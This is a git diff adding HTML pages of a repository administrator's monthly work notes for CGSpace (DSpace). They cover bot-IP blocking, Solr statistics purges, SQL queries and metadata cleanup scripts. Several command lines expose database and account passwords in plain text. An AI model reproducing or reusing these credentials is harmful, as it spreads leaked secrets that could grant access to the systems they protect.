+3.239.81.247,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+34.227.10.4,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+34.236.36.176,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+35.153.131.101,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+35.172.193.232,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+3.85.92.145,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+44.200.190.111,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+52.73.204.196,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+54.174.240.122,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+54.175.8.110,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+54.82.125.225,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+54.90.79.112,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
+
    +
  • An hour or so later two more IPs on Amazon started making requests with that user agent too: +
      +
    • 3.82.22.114
      • +
    • 18.234.122.84
      • +
    +
    • +
  • Load on the server went back up, sigh
    • +
  • I added those IPs to the firewall drop list and purged their hits from Solr as well:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 2839 hits from 3.82.22.114 in statistics
+Purging 592 hits from 18.234.122.84 in statistics
+
+Total number of bot hits purged: 343
+
    +
  • Oh god, there are more coming +
      +
    • 3.81.21.251
      • +
    • 54.162.92.93
      • +
    • 54.226.171.89
      • +
    +
    • +
+

2022-04-28

+ + + + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-05/index.html b/docs/2022-05/index.html new file mode 100644 index 000000000..dd86a319c --- /dev/null +++ b/docs/2022-05/index.html @@ -0,0 +1,499 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2022

+

+ + in + Notes + + +

+
+

2022-05-04

+
    +
  • I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +
      +
    • 18.207.136.176
      • +
    • 185.189.36.248
      • +
    • 50.118.223.78
      • +
    • 52.70.76.123
      • +
    • 3.236.10.11
      • +
    +
    • +
  • Looking at the Solr statistics for 2022-04 +
      +
    • 52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests
      • +
    • 64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc
      • +
    • 185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt
      • +
    • 157.55.39.159 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • 52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 207.46.13.177 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • If I query Solr for time:2022-04* AND dns:*msnbot* AND dns:*.msn.com. I see a handful of IPs that made 41,000 requests
      • +
    +
    • +
  • I purged 93,974 hits from these IPs using my check-spider-ip-hits.sh script
    • +
+
    +
  • Now looking at the Solr statistics by user agent I see: +
      +
    • SomeRandomText
      • +
    • RestSharp/106.11.7.0
      • +
    • MetaInspector/5.7.0 (+https://github.com/jaimeiniesta/metainspector)
      • +
    • wp_is_mobile
      • +
    • Mozilla/5.0 (compatible; um-LN/1.0; mailto: techinfo@ubermetrics-technologies.com; Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
      • +
    • insomnia/2022.2.1
      • +
    • ZoteroTranslationServer
      • +
    • omgili/0.5 +http://omgili.com
      • +
    • curb
      • +
    • Sprout Social (Link Attachment)
      • +
    +
    • +
  • I purged 2,900 hits from these user agents from Solr using my check-spider-hits.sh script
    • +
  • I made a pull request to COUNTER-Robots for some of these agents +
      +
    • In the mean time I will add them to our local overrides in DSpace
      • +
    +
    • +
  • Run all system updates on AReS server, update all Docker containers, and restart the server +
      +
    • Start a harvest on AReS
      • +
    +
    • +
+

2022-05-05

+
    +
  • Update PostgreSQL JDBC driver to 42.3.5 in the Ansible infrastructure playbooks and deploy on DSpace Test
    • +
  • Peter asked me how many items we add to CGSpace every year +
      +
    • I wrote a SQL query to check the number of items grouped by their accession dates since 2009:
      • +
    +
    • +
+
localhost/dspacetest= ☘ SELECT EXTRACT(year from text_value::date) AS YYYY, COUNT(*) FROM metadatavalue WHERE metadata_field_id=11 GROUP BY YYYY ORDER BY YYYY DESC LIMIT 14;
+ yyyy │ count 
+──────┼───────
+ 2022 │  2073
+ 2021 │  6471
+ 2020 │  4074
+ 2019 │  7330
+ 2018 │  8899
+ 2017 │  6860
+ 2016 │  8451
+ 2015 │ 15692
+ 2014 │ 16479
+ 2013 │  4388
+ 2012 │  6472
+ 2011 │  2694
+ 2010 │  2457
+ 2009 │   293
+
    +
  • Note that I had an issue with casting text_value to date because one item had an accession date of 2016 instead of 2016-09-29T20:14:47Z +
      +
    • Once I fixed that PostgreSQL was able to extract() the year
      • +
    • There were some other methods I tried that worked also, for example TO_DATE():
      • +
    +
    • +
+
localhost/dspacetest= ☘ SELECT EXTRACT(year from TO_DATE(text_value, 'YYYY-MM-DD"T"HH24:MI:SS"Z"')) AS YYYY, COUNT(*) FROM metadatavalue WHERE metadata_field_id=11 GROUP BY YYYY ORDER BY YYYY DESC LIMIT 14;
+
    +
  • But it seems PostgreSQL is smart enough to recognize date formatting in strings automatically when we cast so we don’t need to convert to date first
    • +
  • Another thing I noticed is that a few hundred items have accession dates from decades ago, perhaps this is due to importing items from the CGIAR Library?
    • +
  • I spent some time merging a few pull requests for DSpace 6.4 and porting one to main for DSpace 7.x
    • +
  • I also submitted a pull request to migrate Mirage 2’s build from bower and compass to yarn and node-sass
    • +
+

2022-05-07

+
    +
  • Start a harvest on AReS
    • +
+

2022-05-09

+
    +
  • Submit an issue to Atmire’s bug tracker inquiring about DSpace 6.4 support
    • +
+

2022-05-10

+ +

2022-05-12

+
    +
  • CGSpace meeting with Abenet and Peter +
      +
    • We discussed the future of CGSpace and DSpace in general in the new One CGIAR
      • +
    • We discussed how to prepare for bringing in content from the Initiatives, whether we need new metadata fields to support people from IFPRI etc
      • +
    • We discussed the need for good quality Drupal and WordPress modules so sites can harvest content from the repository
      • +
    • Peter asked me to send him a list of investors/funders/donors so he can clean it up, but also to try to align it with ROR and evntually do something like we do with country codes, adding the ROR IDs and potentially showing the badge on item views
      • +
    • We also discussed removing some Mirage 2 themes for old programs and CRPs that don’t have custom branding, ie only Google Analytics
      • +
    +
    • +
  • Export a list of donors for Peter to clean up:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT text_value as "cg.contributor.donor", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 248 GROUP BY text_value ORDER BY count DESC) to /tmp/2022-05-12-donors.csv WITH CSV HEADER;
+COPY 1184
+
    +
  • Then I created a CSV from our cg-creator-identifier.xml controlled vocabulary and ran it against our database with add-orcid-identifiers-csv.py to see if any author names by chance matched that are missing ORCIDs in CGSpace
    • +
+
$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2022-05-12-add-orcids.csv -db dspace -u dspace -p 'fuuu' | tee /tmp/orcid.log
+$ grep -c "Adding ORCID" /tmp/add-orcids.log
+85
+
    +
  • So it’s only eighty-five, but better than nothing…
    • +
  • I removed the custom Mirage 2 themes for some old projects: +
      +
    • AgriFood
      • +
    • AVCD
      • +
    • LIVES
      • +
    • FeedTheFuture
      • +
    • DrylandSystems
      • +
    • TechnicalConsortium
      • +
    • EADD
      • +
    +
    • +
  • That should knock off a few minutes of the maven build time!
    • +
  • I generated a report from the AReS nginx logs on linode18:
    • +
+
# zcat --force /var/log/nginx/access.log.* | grep 'GET /explorer' | goaccess --log-format=COMBINED - -o /tmp/ares_report.html
+

2022-05-13

+
    +
  • Peter finalized the corrections on donors from yesterday so I extracted them into fix/delete CSVs and ran them on CGSpace:
    • +
+
$ ./ilri/fix-metadata-values.py -i 2022-05-13-fix-CGSpace-Donors.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.donor -m 248 -t correct -d
+$ ./ilri/delete-metadata-values.py -i 2022-05-13-delete-CGSpace-Donors.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.donor -m 248 -d
+
    +
  • I cleaned up a few records manually (like some that had \r\n) then re-exported the donors and checked against the latest ROR dump:
    • +
+
$ ./ilri/ror-lookup.py -i /tmp/2022-05-13-donors.csv -r v1.0-2022-03-17-ror-data.json -o /tmp/2022-05-13-ror.csv
+$ csvgrep -c matched -m true /tmp/2022-05-13-ror.csv | wc -l
+230
+$ csvgrep -c matched -m false /tmp/2022-05-13-ror.csv | csvcut -c organization > /tmp/2022-05-13-ror-unmatched.csv
+
    +
  • Then I sent Peter a list so he can try to update some from ROR
    • +
  • I did some work to upgrade the Mirage 2 build dependencies in our 6_x-prod branch +
      +
    • I switched to Node.js 14 also
      • +
    +
    • +
  • Meeting with Margarita and Manuel from ABC to discuss uploading ~6,000 automatically-generated CRP policy reports from MARLO to CGSpace +
      +
    • They will try to provide the records and PDFs by mid June because they are still finalizing the reports for 2021
      • +
    • MARLO will be going offline because it was for the CRPs
      • +
    • We reviewed the metadata they have and gave them some advice on the formatting
      • +
    • Once we upload the records I will need to provide them with a mapping of the MARLO URLs to Handle URLs so they can set up redirects
      • +
    +
    • +
+

2022-05-14

+
    +
  • Start a full Discovery index
    • +
  • Start an AReS harvest
    • +
+

2022-05-23

+
    +
  • Start an AReS harvest
    • +
+

2022-05-24

+
    +
  • Update CGSpace to latest 6_x-prod branch, which removes a handful of Mirage 2 themes and migrates to Node.js 14 and some newer build deps
    • +
  • Run all system updates on CGSpace (linode18) and reboot it
    • +
+

2022-05-25

+
    +
  • Maria Garruccio sent me a handful of new ORCID identifiers for Alliance staff +
      +
    • We currently have 1349 unique identifiers and this adds about forty-five new ones (!):
      • +
    +
    • +
+
$ grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml | sort | uniq | wc -l
+1349
+$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/new-abc-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2022-05-25-combined-orcids.txt
+$ wc -l /tmp/2022-05-25-combined-orcids.txt
+1395 /tmp/2022-05-25-combined-orcids.txt
+
    +
  • After combining and filtering them I resolved their names using my resolve-orcids.py script:
    • +
+
$ ./ilri/resolve-orcids.py -i /tmp/2022-05-25-combined-orcids.txt -o /tmp/2022-05-25-combined-orcids-names.txt
+
    +
  • There are some names that changed, so I need to run them through the fix-metadata-values.py script:
    • +
+
$ cat 2022-05-25-update-orcids.csv
+cg.creator.identifier,correct
+"Andrea Fongar: 0000-0003-2084-1571","ANDREA CECILIA SANCHEZ BOGADO: 0000-0003-4549-6970"
+"Bekele Shiferaw: 0000-0002-3645-320X","Bekele A. Shiferaw: 0000-0002-3645-320X"
+"Henry Kpaka: 0000-0002-7480-2933","Henry Musa Kpaka: 0000-0002-7480-2933"
+"Josephine Agogbua: 0000-0001-6317-1227","Josephine Udunma Agogbua: 0000-0001-6317-1227"
+"Martha Lilia Del Río Duque: 0000-0002-0879-0292","Martha Del Río: 0000-0002-0879-0292"
+$ ./ilri/fix-metadata-values.py -i 2022-05-25-update-orcids.csv -db dspace -u dspace -p 'fuuu' -f cg.creator.identifier -m 247 -t correct -d -n
+Connected to database.
+Would fix 4 occurences of: Andrea Fongar: 0000-0003-2084-1571
+Would fix 1 occurences of: Bekele Shiferaw: 0000-0002-3645-320X
+Would fix 2 occurences of: Josephine Agogbua: 0000-0001-6317-1227
+Would fix 34 occurences of: Martha Lilia Del Río Duque: 0000-0002-0879-0292
+

2022-05-26

+
    +
  • I extracted the names and ORCID identifiers from Maria’s spreadsheet and produced several CSV files with different name formats: +
      +
    • First Last (GREL: cells['First Name'].value + ' ' + cells['Surname'].value)
      • +
    • Last, First (GREL: cells['Surname'].value + ", " + cells['First Name'].value)
      • +
    • Last, F. (GREL: cells['Surname'].value + ", " + cells['First Name'].value.substring(0, 1) + ".")
      • +
    +
    • +
  • Then I constructed a CSV for each of these variations to use with add-orcid-identifiers-csv.py +
      +
    • In total I matched a bunch of authors and added 872 new metadata fields!
      • +
    +
    • +
+

2022-05-27

+
    +
  • Send a follow up to Leroy from the Alliance to ask about the CIAT Library URLs +
      +
    • It seems that I forgot to attach the list of PDFs when I last communicated with him in 2022-03
      • +
    +
    • +
  • Meeting with Terry Bucknell from Overton.io
    • +
+

2022-05-28

+
    +
  • Start a harvest on AReS
    • +
+

2022-05-30

+
    +
  • Help IITA with some collection authorization issues on CGSpace
    • +
  • Finally looking into Peter’s Altmetric export from 2022-02 +
      +
    • We want to try to compare some of the information about open access status with that in CGSpace
      • +
    • I created a new column for all items that have CGSpace handles using this GREL:
      • +
    +
    • +
+
"https://hdl.handle.net/" + value.match(/.*?(10568\/\d+).*?/)[0]
+
    +
  • With that I can do a join on the CGSpace metadata and perhaps clean up some items
    • +
+
$ ./bin/dspace metadata-export -f 2022-05-30-cgspace.csv
+$ csvcut -c 'id,dc.identifier.uri[en_US],dcterms.accessRights[en_US],dcterms.license[en_US]' 2022-05-30-cgspace.csv | sed '1 s/dc\.identifier\.uri\[en_US\]/dc.identifier.uri/' > /tmp/cgspace.csv
+$ csvjoin -c 'dc.identifier.uri' ~/Downloads/2022-05-30-Altmetric-Research-Outputs-CGSpace.csv /tmp/cgspace.csv > /tmp/cgspace-altmetric.csv
+
    +
  • Examining the data in OpenRefine I spot checked a few records where Altmetric and CGSpace disagree and in most cases I found Altmetric to be wrong…
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-06/index.html b/docs/2022-06/index.html new file mode 100644 index 000000000..11f6bc84a --- /dev/null +++ b/docs/2022-06/index.html @@ -0,0 +1,512 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2022

+

+ + in + Notes + + +

+
+

2022-06-06

+
    +
  • Look at the Solr statistics on CGSpace +
      +
    • I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS “msnbot-” using the Solr query dns:*msnbot* AND dns:*.msn.com
      • +
    • I purged these first so I could see the other “real” IPs in the Solr facets
      • +
    +
    • +
  • I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent
    • +
  • I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent
    • +
  • I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +
      +
    • There seem to be many more of these:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/access.log* | grep 208.185.238. | awk '{print $1}' | sort | uniq -c | sort -h
+      2 208.185.238.1
+    166 208.185.238.54
+   1293 208.185.238.51
+   2587 208.185.238.59
+   4692 208.185.238.56
+   5480 208.185.238.53
+   6277 208.185.238.52
+   6400 208.185.238.58
+   8261 208.185.238.55
+  17549 208.185.238.57
+
    +
  • I see 3,000 hits from 178.208.75.33 by a Russian-owned IP in the Netherlands that is making a GET to / every one minute, using a normal user agent
    • +
  • I see 3,000 hits from 134.122.124.196 on Digital Ocean to the REST API with a normal user agent
    • +
  • I purged all these hits from IPs for a total of about 265,000
    • +
  • Then I faceted by user agent and found +
      +
    • 1,000 hits by insomnia/2022.2.1, which I also saw last month and submitted to COUNTER-Robots
      • +
    • 265 hits by omgili/0.5 +http://omgili.com
      • +
    • 150 hits by Vizzit
      • +
    • 132 hits by MetaInspector/5.7.0 (+https://github.com/jaimeiniesta/metainspector)
      • +
    • 73 hits by Scoop.it
      • +
    • 62 hits by bitdiscovery
      • +
    • 59 hits by Asana/1.4.0 WebsiteMetadataRetriever
      • +
    • 32 hits by Sprout Social (Link Attachment)
      • +
    • 29 hits by CyotekWebCopy/1.9 CyotekHTTP/6.2
      • +
    • 20 hits by Hootsuite-Authoring/1.0
      • +
    +
    • +
  • I purged about 4,100 hits from these user agents
    • +
  • Run all system updates on AReS server (linode20) and reboot
    • +
  • I want to try to update some of the build dependencies of OpenRXV since Node.js 12 is no longer supported
    • +
  • Upgrade linode20 to Ubuntu 22.04 and start an AReS harvest
    • +
  • I merged the Mirage 2 build fix to dspace-6_x for DSpace 6.4
    • +
+

2022-06-07

+
    +
  • I tested Node.js 14 one more time with vanilla DSpace 6.4-SNAPSHOT and with the CGSpace source and it worked well +
      +
    • I made a pull request to DSpace to use Node.js 14 for Mirage 2
      • +
    • I even tested Node.js 16 and it works, but that is enough for now…
      • +
    +
    • +
+

2022-06-08

+
    +
  • Work on AReS a bit since I wasn’t able to harvest after doing the updates on the server and in the containers a few days ago +
      +
    • I don’t know what the problem was really, but on the server I had to enable IPv4 forwarding so the frontend container would build
      • +
    • Once I downed and upped AReS with docker-compose I was able to start a new harvest
      • +
    • I also did some tests to enable ES2020 target in the backend because we’re on Node.js 14 there now
      • +
    +
    • +
+

2022-06-13

+
    +
  • Create a user for Mohammed Salem to test MEL submission on DSpace Test:
    • +
+
$ dspace user -a -m mel-submit@cgiar.org -g MEL -s Submit -p 'owwwwwwww'
+
    +
  • According to my notes from 2020-10 the account must be in the admin group in order to submit via the REST API
    • +
+

2022-06-14

+
    +
  • Start a harvest on AReS
    • +
+

2022-06-16

+
    +
  • Francesca asked us to add the CC-BY-3.0-IGO license to the submission form on CGSpace +
      +
    • I remember I had requested SPDX to add CC-BY-NC-ND-3.0-IGO in 2019-02, and they finally merged it in 2020-07, but I never added it to CGSpace
      • +
    • I will add the full suite of CC 3.0 IGO licenses to CGSpace and then make a request to SPDX for the others: +- CC-BY-3.0-IGO +- CC-BY-SA-3.0-IGO +- CC-BY-ND-3.0-IGO +- CC-BY-NC-3.0-IGO +- CC-BY-NC-SA-3.0-IGO +- CC-BY-NC-ND-3.0-IGO
      • +
    +
    • +
  • I filed an issue asking for SPDX to add CC-BY-3.0-IGO
    • +
  • Meeting with Moayad from CodeObia to discuss OpenRXV +
      +
    • He added the ability to use multiple indexes / dashboards, and to be able to embed them in iframes
      • +
    +
    • +
  • Add cg.contributor.initiative with a controlled vocabulary based on CLARISA’s list to the CGSpace submission form
    • +
  • Switch to the linux-virtual-hwe-20.04 kernel on CGSpace (linode18), run all system updates, and reboot
    • +
+

2022-06-17

+
    +
  • I noticed a few ORCID identifiers missing for some scientists so I added them to the controlled vocabulary and then tagged them on CGSpace:
    • +
+
$ cat 2022-06-17-add-orcids.csv
+dc.contributor.author,cg.creator.identifier
+"Tijjani, A.","Abdulfatai Tijjani: 0000-0002-0793-9059"
+"Tijjani, Abdulfatai","Abdulfatai Tijjani: 0000-0002-0793-9059"
+"Mrode, Raphael A.","Raphael Mrode: 0000-0003-1964-5653"
+"Okeyo Mwai, Ally","Ally Okeyo Mwai: 0000-0003-2379-7801"
+"Ojango, Julie M.K.","Ojango J.M.K.: 0000-0003-0224-5370"
+"Prendergast, J.G.D.","James Prendergast: 0000-0001-8916-018X"
+"Ekine-Dzivenu, Chinyere","Chinyere Ekine-Dzivenu: 0000-0002-8526-435X"
+"Ekine, C.","Chinyere Ekine-Dzivenu: 0000-0002-8526-435X"
+"Ekine-Dzivenu, C.C","Chinyere Ekine-Dzivenu: 0000-0002-8526-435X"
+"Shilomboleni, Helena","Helena Shilomboleni: 0000-0002-9875-6484"
+$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2022-06-17-add-orcids.csv -db dspace -u dspace -p 'fuuu' | tee /tmp/orcids.log
+$ grep -c 'Adding ORCID' /tmp/orcids2.log 
+304
+
    +
  • Also make some changes to the Discovery facets and item view +
      +
    • I reduced the number of items to show for CRP facets from 20 to 5
      • +
    • I added a facet for the Initiatives
      • +
    • I re-organized a few parts of the item view to add Action Areas and the list of author affiliations
      • +
    +
    • +
+

2022-06-18

+
    +
  • I deployed the changes on CGSpace and started a full Discovery index for the new Initiatives facet
    • +
  • Run dspace cleanup -v on CGSpace
    • +
+

2022-06-20

+
    +
  • Add missing ORCID identifier for ILRI staff to CGSpace and tag their items
    • +
+

2022-06-21

+
    +
  • Work on OpenRXV backend dependencies +
      +
    • Update Elasticsearch and TypeScript and eslint
      • +
    +
    • +
  • Sit in on webinar about contributing terms to AGROVOC +
      +
    • I agreed that I would send Sara Jani from ICARDA a list of new terms we have that don’t match AGROVOC by end of June
      • +
    • I need to indicate which center is using them so we can have an appropriate expert review the terms
      • +
    +
    • +
+

2022-06-22

+
    +
  • I re-deployed AReS with the latest OpenRXV changes then started a fresh harvest
    • +
  • Meeting with Salem to discuss metadata between CGSpace and MEL +
      +
    • We started working through his spreadsheet and then the Internet dropped
      • +
    +
    • +
+

2022-06-23

+
    +
  • Start looking at country names between MEL, CGSpace, and standards like UN M.49 and GeoNames +
      +
    • I used xmllint to extract the countries from CGSpace’s input forms:
      • +
    +
    • +
+
$ xmllint --xpath '//value-pairs[@value-pairs-name="countrylist"]/pair/stored-value/node()' dspace/config/input-forms.xml > /tmp/cgspace-countries.txt
+
    +
  • Then I wrote a Python script (countries-to-csv.py) to read them and save their names alongside the ISO 3166-1 Alpha2 code
    • +
  • Then I joined them with the other lists:
    • +
+
$ csvjoin --outer -c alpha2 ~/Downloads/clarisa-countries.csv ~/Downloads/UNSD\ —\ Methodology.csv ~/Downloads/geonames-countries.csv /tmp/cgspace-countries.csv /tmp/mel-countries.csv> /tmp/countries.csv
+
    +
  • This mostly worked fine, and is much easier than writing another Python script with Pandas…
    • +
+

2022-06-24

+
    +
  • Spent some more time working on my countries-to-csv.py script to fix some logic errors
    • +
  • Then re-export the UN M.49 countries to a clean list because the one I did yesterday somehow has errors:
    • +
+
csvcut -d ';' -c 'ISO-alpha2 Code,Country or Area' ~/Downloads/UNSD\ —\ Methodology.csv | sed -e '1s/ISO-alpha2 Code/alpha2/' -e '1s/Country or Area/UN M.49 Name/' > ~/Downloads/un-countries.csv
+
    +
  • Check the number of lines in each file:
    • +
+
$ wc -l clarisa-countries.csv un-countries.csv cgspace-countries.csv mel-countries.csv
+  250 clarisa-countries.csv
+  250 un-countries.csv
+  198 cgspace-countries.csv
+  258 mel-countries.csv
+
    +
  • I am seeing strange results with csvjoin’s --outer join that I need to keep unmatched terms from both left and right files… +
      +
    • Using xsv join --full is giving me better results:
      • +
    +
    • +
+
$ xsv join --full alpha2 ~/Downloads/clarisa-countries.csv alpha2 ~/Downloads/un-countries.csv | xsv select '!alpha2[1]' > /tmp/clarisa-un-xsv-full.csv
+
    +
  • Then adding the CGSpace and MEL countries:
    • +
+
$ xsv join --full alpha2 /tmp/clarisa-un-xsv-full.csv alpha2 /tmp/cgspace-countries.csv | xsv select '!alpha2[1]' > /tmp/clarisa-un-cgspace-xsv-full.csv
+$ xsv join --full alpha2 /tmp/clarisa-un-cgspace-xsv-full.csv alpha2 /tmp/mel-countries.csv | xsv select '!alpha2[1]' > /tmp/clarisa-un-cgspace-mel-xsv-full.csv
+

2022-06-26

+
    +
  • Start a harvest on AReS
    • +
+

2022-06-28

+
    +
  • Start working on the CGSpace subject export for FAO / AGROVOC
    • +
  • First I exported a list of all metadata in our dcterms.subject and other center-specific subject fields with their counts:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT text_value AS "subject", count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (187, 120, 210, 122, 215, 127, 208, 124, 128, 123, 125, 135, 203, 236, 238, 119) GROUP BY "subject" ORDER BY count DESC) to /tmp/2022-06-28-cgspace-subjects.csv WITH CSV HEADER;
+COPY 27010
+
    +
  • Then I extracted the subjects and looked them up against AGROVOC:
    • +
+
$ csvcut -c subject /tmp/2022-06-28-cgspace-subjects.csv | sed '1d' > /tmp/2022-06-28-cgspace-subjects.txt
+$ ./ilri/agrovoc-lookup.py -i /tmp/2022-06-28-cgspace-subjects.txt -o /tmp/2022-06-28-cgspace-subjects-results.csv
+
    +
  • I keep getting timeouts after every five or ten requests, so this will not be feasible for 27,000 subjects!
    • +
  • I think I will have to write some custom script to use the AGROVOC RDF file +
      +
    • Using rdflib to open the 1.2GB agrovoc_lod.rdf file takes several minutes and doesn’t seem very efficient
      • +
    +
    • +
  • I tried using lightrdf and it’s much quicker, but the documentation is limited and I’m not sure how to search yet +
      +
    • I had to try in different Python versions because 3.10.x is apparently too new
      • +
    +
    • +
  • For future reference I was able to search with lightrdf:
    • +
+
import lightrdf
+parser = lightrdf.Parser()
+# prints millions of lines
+for triple in parser.parse("./agrovoc_lod.rdf", base_iri=None):
+     print(triple)
+agrovoc = lightrdf.RDFDocument('agrovoc_lod.rdf');
+# all results for prefix http://aims.fao.org/aos/agrovoc/c_5
+for triple in agrovoc.search_triples('http://aims.fao.org/aos/agrovoc/c_5', None, None):
+     print(triple)
+('http://aims.fao.org/aos/agrovoc/c_5', 'http://www.w3.org/2004/02/skos/core#altLabel', '"Abalone"@de')
+('http://aims.fao.org/aos/agrovoc/c_5', 'http://www.w3.org/2004/02/skos/core#prefLabel', '"abalones"@en')
+# all stuff for abalones in English
+for triple in agrovoc.search_triples(None, None, '"abalones"@en'):
+     print(triple)
+
    +
  • I ran the agrovoc-lookup.py from a Linode server and it completed without issues… hmmm
    • +
+

2022-06-29

+
    +
  • Continue working on the list of non-AGROVOC subject to report to FAO +
      +
    • I got a one liner to get the list of non-AGROVOC subjects and join them with their counts (updated to use regex in csvgrep):
      • +
    +
    • +
+
$ csvgrep -c 'number of matches' -r '^0$' /tmp/2022-06-28-cgspace-subjects-results.csv \
+  | csvcut -c subject \
+  | csvjoin -c subject /tmp/2022-06-28-cgspace-subjects.csv - \
+  > /tmp/2022-06-28-cgspace-non-agrovoc.csv
+

2022-06-30

+
    +
  • Check some AfricaRice records for potential duplicates on CGSpace for Abenet:
    • +
+
$ csvcut -l -c dc.title,dcterms.issued,dcterms.type ~/Downloads/Africarice_2ndBatch_ay.csv | sed '1s/line_number/id/' > /tmp/africarice.csv
+$ csv-metadata-quality -i /tmp/africarice.csv -o /tmp/africarice-cleaned.csv -u
+$ ./ilri/check-duplicates.py -i /tmp/africarice-cleaned.csv -u dspacetest -db dspacetest -p 'dom@in34sniper' -o /tmp/africarice-duplicates.csv
+
    +
  • Looking at the non-AGROVOC subjects again, I see some in our list that are duplicated in uppercase and lowercase, so I will run it again with all lowercase:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(lower(text_value)) AS "subject", count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (187, 120, 210, 122, 215, 127, 208, 124, 128, 123, 125, 135, 203, 236, 238, 119) GROUP BY "subject" ORDER BY count DESC) to /tmp/2022-06-30-cgspace-subjects.csv WITH CSV HEADER;
+
    +
  • Also, I see there might be something wrong with my csvjoin because nigeria shows up in the final list as having not matched… +
      +
    • Ah, I was using csvgrep -m 0 to find rows that didn’t match, but that also matched items that had 10, 100, 50, etc…
      • +
    • We need to use a regex:
      • +
    +
    • +
+
$ csvgrep -c 'number of matches' -r '^0$' /tmp/2022-06-30-cgspace-subjects-results.csv \
+  | csvcut -c subject \
+  | csvjoin -c subject /tmp/2022-06-30-cgspace-subjects.csv - \
+  > /tmp/2022-06-30-cgspace-non-agrovoc.csv
+
    +
  • Then I took all the terms with fifty or more occurences and put them on a Google Sheet +
      +
    • There I started removing any term that was a variation of an existing AGROVOC term (like cowpea/cowpeas, policy/policies) or a compound concept
      • +
    +
    • +
  • pnbecker on DSpace Slack mentioned that they made a JSPUI deduplication step that is open source: https://github.com/the-library-code/deduplication +
      +
    • It uses Levenshtein distance via PostgreSQL’s fuzzystrmatch extension
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-07/index.html b/docs/2022-07/index.html new file mode 100644 index 000000000..a125d2632 --- /dev/null +++ b/docs/2022-07/index.html @@ -0,0 +1,790 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2022

+

+ + in + Notes + + +

+
+

2022-07-02

+
    +
  • I learned how to use the Levenshtein functions in PostgreSQL +
      +
    • The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing
      • +
    • Also, the trgm functions I’ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first
      • +
    +
    • +
+
    +
  • A working query checking for duplicates in the recent AfricaRice items is:
    • +
+
localhost/dspace= ☘ SELECT text_value FROM metadatavalue WHERE  dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=64 AND levenshtein_less_equal(LOWER('International Trade and Exotic Pests: The Risks for Biodiversity and African Economies'), LEFT(LOWER(text_value), 255), 3) <= 3;
+                                       text_value                                       
+────────────────────────────────────────────────────────────────────────────────────────
